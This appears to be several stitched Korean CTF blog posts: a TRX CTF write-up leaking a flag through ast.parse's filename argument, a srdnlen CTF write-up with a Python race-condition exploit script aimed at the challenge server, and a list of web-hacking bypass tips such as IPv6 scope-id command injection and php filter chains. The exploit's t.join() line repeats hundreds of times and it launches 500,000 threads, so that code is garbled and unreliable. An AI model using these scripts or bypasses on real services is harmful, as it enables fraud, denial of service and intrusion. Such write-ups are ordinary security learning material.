Online Python Editor

# app.py
import ast
import traceback
from flask import Flask, render_template, request

app = Flask(__name__)

@app.get("/")
def home():
    return render_template("index.html")

@app.post("/check")
def check():
    try:
        ast.parse(**request.json)
        return {"status": True, "error": None}
    except Exception:
        return {"status": False, "error": traceback.format_exc()}
        
if __name__ == '__main__':
    app.run(debug=True)

 

# secret.py
def main():
    print("Here's the flag: ")
    print(FLAG) 
    
FLAG = "TRX{fake_flag_for_testing}"

main()

 

ast.parse 함수에 filename에 secret.py를 넘겨서, FLAG를 유출할 수 있다.

https://docs.python.org/3/library/ast.html#ast.parse

{
  "source": "\n\n\n\n\nprint(",
  "filename": "secret.py"
}

 

'Hacking > CTF' 카테고리의 다른 글

srdnlen CTF 2025 Write Up  (0) 2025.01.20
[CTF] CTF 및 Wargame 풀이팁  (0) 2025.01.15
TSG CTF  (0) 2024.12.16
LakeCTF '24-'25 Quals  (2) 2024.12.09

Korean

어제 새벽부터 srdnlen CTF에 참가했다. 초반에 문제 난이도를 보고 "이거 잘하면 본선에 갈 수도 있겠다!"라는 생각을 했지만 어림도 없었다.

최종 순위를 29등으로 마무리했다. 아쉽지만 공부는 계속해야 한다. 웹 문제 4개 중 풀지 못한 한 문제에 대해 Write-up을 정리해보려고 한다.

 

Average HTTP/3 Enjoyer

HTTP/3 관련 문제로 Haproxy의 ACL 설정 때문에 /flag 경로에 접근이 차단되는 상황이었다. HTTP/3의 특성을 이용해 이를 우회할 수 있었다. 처음에는 Haproxy 0-day 취약점이라고 착각했을 정도로 정말 어려운 문제였다.

https://www.rfc-editor.org/rfc/rfc9114.html#name-request-pseudo-header-field

 

RFC 9114: HTTP/3

The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT", "SHOULD", "SHOULD NOT", "RECOMMENDED", "NOT RECOMMENDED", "MAY", and "OPTIONAL" in this document are to be interpreted as described in BCP 14 [RFC2119] [RFC8174] when, and only when, they

www.rfc-editor.org

 

원래는 위 문제만 따로 작성하려고 했는데, 나머지도 함께 정리해보려고 한다.

Focus. Speed. I am speed.

// Apply the gift card value to the user's balance
const { Balance } = await User.findById(req.user.userId).select('Balance');
user.Balance = Balance + discount.value;
// Introduce a slight delay to ensure proper logging of the transaction 
// and prevent potential database write collisions in high-load scenarios.
new Promise(resolve => setTimeout(resolve, delay * 1000));
user.lastVoucherRedemption = today;
await user.save();

위 소스코드는 쿠폰 등록 로직 중 일부인데, 딜레이를 처리하는 부분에서 Race Condition이 발생할 가능성이 있다고 판단했다.

// Now handle the DiscountCode (Gift Card)
let { discountCode } = req.query;

if (!discountCode) {
    return res.render('error', { Authenticated: true, message: 'Discount code is required!' });
}

const discount = await DiscountCodes.findOne({discountCode})

if (!discount) {
    return res.render('error', { Authenticated: true, message: 'Invalid discount code!' });
}

추가로 쿠폰을 검색하는 과정에서 Nosql Injection이 발생한다.

 

PoC

import requests
import threading

def register_user(username, password):
    """
    회원가입 후, 응답 헤더/쿠키에서 JWT 쿠키를 파싱해 반환
    """
    url = "http://speed.challs.srdnlen.it:8082/register-user"
    
    # 보통 'application/json' 형태를 받을 수도 있지만,
    # 실제 서버 상황에 따라 bodyParser가 json인지 urlencoded인지 맞춰야 함
    # 여기서는 urlencoded로 전송한다고 가정
    data = {
        "username": username,
        "password": password
    }
    
    print("[*] Trying to register user...")
    response = requests.post(url, json=data)
    
    # 회원가입 결과 출력(디버그 목적)
    print("[*] Registration response:", response.text)
    
    # 쿠키 중 'jwt' 값이 있는지 확인
    if 'jwt' in response.cookies:
        session_cookie = response.cookies.get('jwt')
        print(f"[+] Registration success. JWT Cookie: {session_cookie}")
        return session_cookie
    else:
        print("[!] JWT cookie not found in response. Check if registration was successful.")
        return None


def exploit_race(session_cookie, discount_code, num_threads=10):
    """
    Race condition exploit for gift card redemption
    """
    url = "http://speed.challs.srdnlen.it:8082/redeem"
    cookies = {"jwt": session_cookie}
    params = {"discountCode": discount_code}
    
    def make_request():
        try:
            response = requests.get(url, params=params, cookies=cookies, timeout=5)
            # /redeem 라우트가 render('error')를 호출하면 HTML 반환도 가능하니, 상황에 맞게 확인
            if response.status_code == 200:
                # res.json()으로 응답했을 경우
                # 혹은 response.text 등을 직접 확인할 수도 있음
                try:
                    print(f"[Thread] Response JSON: {response.json()}")
                except:
                    print(f"[Thread] Response Text: {response.text[:200]}")
            else:
                print(f"[Thread] HTTP {response.status_code} - {response.text[:200]}")
        except Exception as e:
            print(f"[Thread] Error: {e}")
    
    print(f"[*] Starting {num_threads} threads for race condition exploit...")
    threads = []
    for _ in range(num_threads):
        t = threading.Thread(target=make_request)
        threads.append(t)
        t.start()
    
    # 모든 쓰레드가 끝날 때까지 대기
    for t in threads:
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()

        t.join()
        t.join()

    print("[*] Race condition exploit finished.")


if __name__ == "__main__":
    """
    사용 예시:
    1) python exploit.py (직접 수정 필요)
    - 아래 변수를 원하는 대로 조정:
      USERNAME, PASSWORD, DISCOUNT_CODE, NUM_THREADS
    """
    
    USERNAME = "tasdfsdfsdfssdfdsffdsffsdfdsdsfdsdadfaf"
    PASSWORD = "p455w0rd"
    DISCOUNT_CODE = "69JT0DQHHBIR"  # 실제 사용하려는 코드
    NUM_THREADS = 500000      # 병렬 요청 개수
    
    # 1) 회원가입 -> JWT 쿠키 획득
    jwt_cookie = register_user(USERNAME, PASSWORD)
    
    if jwt_cookie:
        # 2) 레이스 컨디션 익스플로잇 시도
        exploit_race(jwt_cookie, DISCOUNT_CODE, NUM_THREADS)
    else:
        print("[!] Cannot proceed with race exploit, no JWT cookie acquired.")

 

English

 

'Hacking > CTF' 카테고리의 다른 글

TRX CTF 2025  (0) 2025.02.24
[CTF] CTF 및 Wargame 풀이팁  (0) 2025.01.15
TSG CTF  (0) 2024.12.16
LakeCTF '24-'25 Quals  (2) 2024.12.09

1. 특히 Node.js에서 bodyParser.json()이 활성화되어있는 경우, 배열을 잘 활용하는 것이 중요하다.
코드에서 includes 함수, length 함수를 사용하면 배열을 통해 Bypass 할 수 있다. Example) indexOf

 

2. 템플릿 관련 문제를 풀 때, 렌더링 할 때 특정 문자열을 필터링하는 경우, 반복문을 이용해서 모든 객체를 출력하는 등의 방법으로 풀 수 있다. Ex) LineCTF 2021 babysandbox 

 

Ref: https://handlebarsjs.com/examples/builtin-helper-each-block.html 

 

Handlebars

 

handlebarsjs.com

 

3. Node.js 소스코드에서 parseFloat 함수 등을 사용하는 경우, parseFloat issue를 고려하자.. 
Ref: Dreamhack Self-deception Ex) parseFloat(1 - 0.9999999) => 9.999999994736442e-8 이 때 parseInt로 변경하면 9가 된다.

 

4. Nginx, Haproxy 등에서 Endpoint 검증할 때 대소문자 등 다양한 방법으로 우회 시도 

 

5. Hs256 to Rs256 public key 엔터 여부 등등 여러요소 고려

 

6. IPv4, IPv6 등 IP 주소를 입력할 수 있는 곳이 있다면 IPv6 Scope Id를 이용하여 Comand Injection과 같으 공격 수행 가능

 

7. toLowerCase(), toUpperCase() bypass with unicode

 

8. Python에서 SSRF 취약점 방지를 위한 PORT 검사를 할 때, 0으로 bypass 하고 iptables를 이용하여 80포트로 리다이렉션되게 할 수 있다.

 

9. Script load 하는 부분에서 Relative Path Overwrite 확인

<script src="/app/main.js"></script>
<script src="app/main.js"></script>

 

10. 특히 XSS 할 때, '+' 특수문자 인코딩 주의

 

11. Nginx filter bypass
Ref: https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/nginx.html?highlight=nginx#nginx

 

12. non-printable ASCII character(0x00-0x1F and 0x7F-0xFF) - dreamboard

 

13. https://github.com/synacktiv/php_filter_chain_generator

 

GitHub - synacktiv/php_filter_chain_generator

Contribute to synacktiv/php_filter_chain_generator development by creating an account on GitHub.

github.com

14. hash_file, file, file_get_contents 등 함수를 사용할 때 php filter chain

 
 

 

 

'Hacking > CTF' 카테고리의 다른 글

TRX CTF 2025  (0) 2025.02.24
srdnlen CTF 2025 Write Up  (0) 2025.01.20
TSG CTF  (0) 2024.12.16
LakeCTF '24-'25 Quals  (2) 2024.12.09

+ Recent posts